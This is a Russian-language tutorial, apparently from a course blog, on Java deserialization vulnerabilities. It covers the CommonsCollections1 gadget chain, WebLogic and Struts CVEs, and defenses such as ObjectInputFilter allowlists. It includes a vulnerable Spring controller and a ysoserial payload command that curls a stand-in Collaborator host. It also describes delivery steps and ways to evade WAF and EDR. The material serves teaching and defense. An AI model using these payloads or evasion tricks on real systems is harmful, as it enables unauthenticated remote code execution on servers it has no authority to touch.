Уязвимость десериализации Java: как gadget chain даёт RCE через readObject()

CVE-2015-4852 попала в каталог CISA KEV (список уязвимостей, которые УЖЕ эксплуатируются в реальных атаках) в ноябре 2021 — спустя шесть лет после раскрытия. Сама CVE-2015-4852 по NVD охватывает только Oracle WebLogic Server, но та же gadget chain из Apache Commons Collections одновременно ломала JBoss, Jenkins и OpenNMS. FoxGlove Security задокументировали эксплуатацию этого механизма в нескольких продуктах в едином отчёте 2015 года — без общей CVE-классификации, хотя для части продуктов позже появились собственные CVE (например, CVE-2015-8103 для Jenkins). Одна библиотека, общий механизм, CVSS 9.8 (CRITICAL), ноль аутентификации.
Уязвимость десериализации Java — CWE-502 (Deserialization of Untrusted Data, десериализация данных из недоверенного источника) — это не баг конкретного класса. Это архитектурная проблема: приложение доверяет байтовому потоку, а поток содержит инструкции, которые JVM послушно выполнит. Здесь разберём gadget chain эксплуатацию изнутри — от первого байта сериализованного объекта до момента Runtime.exec(), с реальными CVE и пошаговой практикой через ysoserial.
Сериализация Java: почему readObject() становится точкой входа для RCE через десериализацию
Представьте JSON. Отправляете {"name": "Alice", "age": 30} — принимающая сторона восстанавливает объект. Безопасно, потому что JSON содержит только данные. Нативная сериализация Java работает иначе: она сохраняет полное состояние объекта, включая ссылки на классы и их внутреннюю логику. При десериализации JVM вызывает метод readObject() класса — и этот метод способен делать что угодно: обращаться к файловой системе, вызывать другие объекты, запускать системные команды.
Минимальный уязвимый код — Spring-контроллер, принимающий Base64-строку и передающий её в ObjectInputStream:
@PostMapping("/api/import")
public ResponseEntity<String> importData(
@RequestParam("data") String encoded) {
byte[] raw = Base64.getDecoder().decode(encoded);
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(raw));
Object obj = ois.readObject(); // точка входа атаки
return ResponseEntity.ok("imported");
}
Проблема в строке ois.readObject(): метод восстановит любой объект, класс которого реализует интерфейс java.io.Serializable и находится в classpath (classpath — набор библиотек и классов, доступных приложению при запуске). Никакой проверки типа, никакого allowlist. Атакующий формирует специальный байтовый поток, JVM десериализует его — и запускается цепочка вызовов, ведущая к RCE (Remote Code Execution — удалённое выполнение произвольного кода).
Сериализованные Java-объекты распознаются в трафике по сигнатуре: байты ac ed 00 05 в hex или строка rO0AB в Base64. Встретили такой паттерн в cookie, POST-параметре или WebSocket-фрейме — нашли потенциальную точку входа. Burp Suite с расширением Java Deserialization Scanner пометит такие объекты автоматически.
OWASP относит небезопасную десериализацию к категории A08:2021 — Software and Data Integrity Failures. По классификации MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — её идентификаторы) эксплуатация десериализации на публичном endpoint — Exploit Public-Facing Application (T1190, тактика Initial Access). Результат — Command and Scripting Interpreter (T1059, тактика Execution): атакующий выполняет команды ОС от имени Java-процесса.
Gadget chain эксплуатация: цепочка обычных классов приводит к выполнению команд
Gadget chain (цепочка гаджетов) — последовательность вызовов методов у легитимных классов из classpath приложения, собранная так, чтобы конечный вызов выполнил произвольный код. Никакого шеллкода, никаких подгруженных файлов: атакующий отправляет данные, а собственные библиотеки жертвы делают остальное. По данным исследований gadget chain (GCMiner), значительная часть публично известных цепочек эксплуатирует runtime polymorphism — возможность вызвать переопределённый метод у подставленного объекта через динамическое связывание.
Зачем это атакующему? Бизнес-логика атаки прямая: небезопасная десериализация Java на публичном endpoint — initial access без аутентификации. Дальше — Web Shell (T1505.003, тактика Persistence) для закрепления или Reflective Code Loading (T1620, Defense Evasion) для загрузки вредоносного кода в память без записи на диск. По Mandiant M-Trends 2025, эксплойты — самый распространённый вектор начального доступа (38% инцидентов). CVE-2019-2725, затрагивающая ту же поверхность атаки WebLogic (Web Services), отмечена в CISA KEV тегом RANSOMWARE — через неё распространялись вымогатели. Формально она классифицирована как CWE-74 (Injection), а не CWE-502.
CommonsCollections1 — уязвимый код десериализации на примере Apache Commons Collections
CommonsCollections1 из ysoserial — вероятно, самая известная gadget chain в истории. Classpath-зависимость: commons-collections версий 3.0–3.2.1 (исправлено в 3.2.2; ветка 4.x защищена с 4.1). Если библиотека есть в classpath приложения — цепочка работает. Разберём каждое звено.
Звено 1: AnnotationInvocationHandler.readObject(). Внутренний класс JDK из пакета sun.reflect.annotation. Реализует интерфейс InvocationHandler для динамических прокси. Когда ObjectInputStream восстанавливает этот объект, его метод readObject() обращается к внутренней Map и вызывает на ней entrySet(). Здесь всё ещё выглядит невинно.
Звено 2: Dynamic Proxy → LazyMap. Внутренняя Map — динамический прокси (стандартный механизм java.lang.reflect.Proxy). Любой вызов метода на прокси перенаправляется в InvocationHandler.invoke(). Прокси оборачивает LazyMap из Commons Collections.
Звено 3: LazyMap.get(). LazyMap — «ленивая» Map: если ключа нет, она создаёт значение через объект-фабрику (Transformer). Когда entrySet() приводит к вызову get() с несуществующим ключом, LazyMap обращается к фабрике — ChainedTransformer.
Звено 4: ChainedTransformer → InvokerTransformer. ChainedTransformer — цепочка трансформеров: каждый берёт результат предыдущего и преобразует. Внутри — последовательность InvokerTransformer, которая через рефлексию (Java Reflection API) вызывает методы: Runtime.class → getMethod("getRuntime") → invoke(null) → exec("команда").
Звено 5: Runtime.getRuntime().exec(). Выполнение произвольной команды ОС. Атакующий получил RCE.
Ни один из этих классов не «вредоносный» сам по себе. InvokerTransformer — утилитарный класс для вызова методов через рефлексию, LazyMap — удобная реализация Map. Уязвимость не в библиотеке, а в приложении, которое передаёт недоверенные данные в readObject(). Можно убрать Commons Collections из classpath — CommonsCollections1 перестанет работать. Но если в classpath окажется Groovy, Spring или Hibernate, для них есть другие цепочки: Groovy1 использует MethodClosure и ConvertedClosure (Groovy вызывает execute на строке для запуска команд ОС), Spring1–2 работает через Spring-специфичные трансформеры. Ysoserial содержит более 20 готовых цепочек — каждая завязана на свой набор библиотек.
Анализ CVE: уязвимости десериализации в Java-библиотеках от WebLogic до Struts
CVE-2015-4852 — небезопасная десериализация Java в Oracle WebLogic
CVE-2015-4852 — уязвимость в компоненте WLS Security сервера Oracle WebLogic Server версий 10.3.6.0, 12.1.2.0, 12.1.3.0 и 12.2.1.0. Атакующий отправлял сконструированный сериализованный Java-объект через T3-протокол (проприетарный протокол WebLogic для удалённого взаимодействия) на TCP-порт 7001. Подтверждённый PoC — Metasploit-модуль (EDB-46628 для WebLogic T3).
CVSS-вектор (CVSS — стандартная шкала оценки критичности уязвимости от 0 до 10): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 CRITICAL.
Разбор по компонентам: — AV:N — атака по сети, физический доступ не нужен — AC:L — низкая сложность: готовый эксплойт, специальных условий нет — PR:N — привилегии не нужны, аутентификация отсутствует — UI:N — без участия пользователя — C:H / I:H / A:H — полный компромисс конфиденциальности, целостности и доступности
EPSS (вероятность от 0 до 1, что уязвимость начнут эксплуатировать в ближайшие 30 дней): 0.9603, percentile 0.9988 — Top 1%. CISA присвоила решение SSVC Act — патчить немедленно; автоматизируемая эксплуатация, полный технический импакт.
Gadget chain строилась на com.bea.core.apache.commons.collections.jar, входящей в дистрибутив WebLogic. По данным FoxGlove Security, тот же InvokerTransformer одновременно компрометировал WebLogic, JBoss, Jenkins и OpenNMS — все они поставлялись с Commons Collections в classpath.
Oracle не закрыла поверхность десериализации WebLogic с первого патча. За CVE-2015-4852 последовала серия уязвимостей на той же поверхности атаки (не все из них — десериализация в узком смысле CWE-502; часть классифицирована как injection; не для всех есть публичные PoC):
| CVE | Год | CVSS | EPSS | CISA KEV |
|---|---|---|---|---|
| CVE-2015-4852 | 2015 | 9.8 CRITICAL | 0.9603 | Да |
| CVE-2016-0638 | 2016 | — | — | Нет |
| CVE-2016-3510 | 2016 | — | — | Нет |
| CVE-2017-3506 | 2017 | 7.4 HIGH (CWE-78, OS Command Injection — не десериализация) | 0.9628 | Да (публичный PoC не подтверждён в Exploit-DB) |
| CVE-2019-2725 | 2019 | 9.8 CRITICAL (CWE-74, Injection — не CWE-502) | 0.9996 | Да, RANSOMWARE |
Четыре года, пять CVE, одна поверхность атаки WebLogic. Каждый патч закрывал конкретную точку входа, но не решал архитектурную проблему: WebLogic принимал недоверенные данные без достаточной фильтрации. Это типичный сценарий, когда патчат симптом, а не причину.
CVE-2017-9805 — эксплуатация gadget chain через XStream в Apache Struts
REST Plugin в Apache Struts версий 2.1.1 — 2.3.x (до 2.3.34) и 2.5.x (до 2.5.13) использовал XStreamHandler с экземпляром XStream для десериализации XML без какой-либо фильтрации типов.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H = 8.1 HIGH (не Critical — порог 9.0). Обратите внимание на AC:H — высокая сложность. В отличие от CVE-2015-4852, атакующему нужно было собрать XML с правильной gadget chain для XStream. Но EPSS всё равно 0.9940 (percentile 0.9994, Top 1%). CISA — решение SSVC Act; активная эксплуатация зафиксирована с июля 2021 (inthewild.io), в CISA KEV добавлена в ноябре 2021.
CWE: CWE-502 — Deserialization of Untrusted Data. Уязвимый пакет по OSV.dev: org.apache.struts:struts2-rest-plugin, введён в версии 2.1.1, исправлен в 2.3.34. По NVD, уязвимость затрагивала также Cisco Digital Media Manager и Cisco Hosted Collaboration Solution.
Эти две CVE — не единичные случаи. Десериализация как системная проблема JVM всплывает в разных контекстах: Log4Shell (CVE-2021-44228, CVSS 10.0, CWE-20/CWE-400/CWE-502/CWE-917, EPSS 1.0, CISA KEV + RANSOMWARE) эксплуатировала JNDI-lookup для принудительной загрузки и десериализации удалённого объекта через LDAP. Jackson-databind (CVE-2019-12384, CVSS 5.9; CVE-2020-9548, CVSS 9.8) допускал полиморфную десериализацию без фильтрации типов. Три механизма — одна фундаментальная проблема: JVM готова инстанцировать и вызывать методы у классов, которые она не выбирала.
Генерация payload через ysoserial: пошаговая эксплуатация уязвимости
Ysoserial — инструмент для генерации сериализованных Java-объектов с gadget chain, созданный Крисом Фрохоффом. Содержит более 20 готовых цепочек: CommonsCollections1–7, Spring1–2, Groovy1, Hibernate1–2, Jdk7u21 и другие. Каждая требует конкретных библиотек конкретных версий в classpath цели.
Предпосылки: Java 8+ на вашей машине; JAR-файл ysoserial скачан из GitHub-релизов (frohoff/ysoserial); сетевой доступ до целевого endpoint; для out-of-band подтверждения — Burp Collaborator или собственный DNS-сервер.
Делай раз — генерируй payload. Указываешь тип цепочки и команду ОС. Команда curl на адрес вашего Collaborator подтвердит выполнение:
java -jar ysoserial.jar CommonsCollections1 \
'curl http://your.burpcollaborator.net/rce' > payload.bin
# CommonsCollections1 (AnnotationInvocationHandler) надёжно работает на JDK 7 / ранних билдах JDK 8;
# на более новых билдах JDK 8 (8u71+) цепочка ломается из-за изменения AnnotationInvocationHandler,
# а не из-за JEP 290 (ObjectInputFilter), который требует явной настройки. Используйте CommonsCollections5/6.
# Перед выбором цепочки определите версию JDK на цели (баннер сервера, ошибки, GadgetProbe).
# Проверка сигнатуры:
xxd payload.bin | head -1
# Ожидаемый вывод: 0000000: aced 0005 7372 ...
Ysoserial создаст бинарный файл с сериализованным Java-объектом (1–3 КБ). Если в первых байтах aced 0005 — payload валиден.
Делай два — доставь payload до endpoint. Способ зависит от протокола цели: для WebLogic — через T3, для HTTP — через POST-параметр или cookie в Base64-кодировке, для RMI — через RMI-клиент.
Делай три — проверь результат. В Burp Collaborator появился DNS- или HTTP-запрос от IP-адреса цели — цепочка сработала, команда выполнилась. Нет запроса — classpath цели не содержит нужных библиотек; пробуй другую цепочку.
Если classpath цели неизвестен (black-box сценарий): генерируй payload для каждой цепочки с OOB-callback и перебирай. GadgetProbe (используется совместно с Burp или как standalone-утилита) определяет загруженные классы на сервере через DNS-взаимодействие — это сужает перебор с десятков цепочек до единиц.
Наивные WAF (Web Application Firewall — межсетевой экран уровня приложений) детектят строки Runtime, exec, ysoserial прямо в сериализованном потоке. Обход: перекомпиляция ysoserial с переименованными классами, а также инъекция Java-кода через Translet API (TemplatesImpl) вместо прямого вызова Runtime.exec(). Translet API позволяет загружать произвольный Java-байткод в память JVM без порождения дочерних процессов — EDR не видит подозрительных child process от java. По документам WAF должен блокировать — на практике обходится за вечер.
AppSec-защита от уязвимости десериализации Java
Защита начинается с правила: не десериализуйте недоверенные данные нативной Java-сериализацией. Если архитектура позволяет — замените ObjectInputStream на JSON, Protobuf или MessagePack. Если не позволяет — используйте allowlist-фильтрацию.
ObjectInputFilter (JEP 290) — встроенный механизм JDK 9+ (бэкпортирован в обновления JDK 8u121+). Задаёт allowlist классов, разрешённых к десериализации:
ObjectInputFilter filter = ObjectInputFilter.Config
.createFilter("com.myapp.dto.*;java.lang.*;java.util.*;!*");
ois.setObjectInputFilter(filter);
// Паттерн: разрешить com.myapp.dto.*, стандартные типы (String, List и т.д.) — отклонить всё остальное
Попытка десериализовать InvokerTransformer или AnnotationInvocationHandler будет заблокирована. Именно allowlist, а не blacklist: вы не можете предсказать, какую библиотеку с сериализуемыми классами разработчик подключит завтра.
Удаление неиспользуемых библиотек — полезно, но недостаточно. Нет commons-collections:3.x в classpath — CommonsCollections1 не сработает. Но ysoserial содержит более 20 цепочек с разными зависимостями. Полное покрытие даёт только фильтрация.
Статический анализ: CodeQL и Semgrep находят паттерн «пользовательский ввод → ObjectInputStream.readObject()» в коде. Для Semgrep это поиск вызова readObject() на объекте, созданном из внешних данных. Для CodeQL есть готовые запросы в пакете java-security-and-quality.
Детектирование в рантайме: в репозитории SigmaHQ есть правила для T1190 — web_jndi_exploit.yml детектит JNDI-инъекции в веб-логах, java_local_file_read.yml — подозрительное чтение файлов из Java-процесса. Для обнаружения web shell после успешной эксплуатации — lnx_auditd_web_rce.yml отслеживает подозрительные системные вызовы от веб-серверных процессов (T1505.003). Контрмеры по MITRE D3FEND: Inbound Traffic Filtering (D3-ITF) для фильтрации входящего трафика на уровне протокола, Process Lineage Analysis (D3-PLA) для отслеживания аномальных дочерних процессов от Java.
Десериализация остаётся актуальной не потому, что нет патчей. IBM X-Force фиксирует среднее время между публикацией CVE и устранением в организации — 29 месяцев. Почти два с половиной года. За это время EPSS-показатели WebLogic-уязвимостей стабильно держатся в Top 1%.
Я вижу в проектах одну и ту же картину: команда знает про CWE-502, знает про ysoserial, но не понимает, почему CommonsCollections1 работает и чем отличается от CommonsCollections6 или Groovy1. Без этого понимания AppSec превращается в «запустил сканер — нашёл или не нашёл». CVE-2015-4852 и её четыре обхода за четыре года — не баг Oracle. Это баг архитектуры, где десериализация встроена в транспортный протокол. Патч закрывает конкретный gadget, но если в classpath появляется новая библиотека с сериализуемыми классами — история начинается заново. Blacklist не работает по определению: вы закрываете вчерашние цепочки, а ysoserial уже содержит завтрашние. Allowlist через ObjectInputFilter решает проблему на корню, но требует знания того, какие объекты приложение реально десериализует. А это знание появляется только когда разработчик понимает механику атаки, а не просто читает advisory. Базовый трек IB Basics — это то, что я бы прошёл вместо того, чтобы собирать куски по writeup’ам и GitHub issues.
Эту тему и смежные навыки разбирают на практике в курсе «Профессия: инженер по безопасности приложений (AppSec)» Codeby Academy.
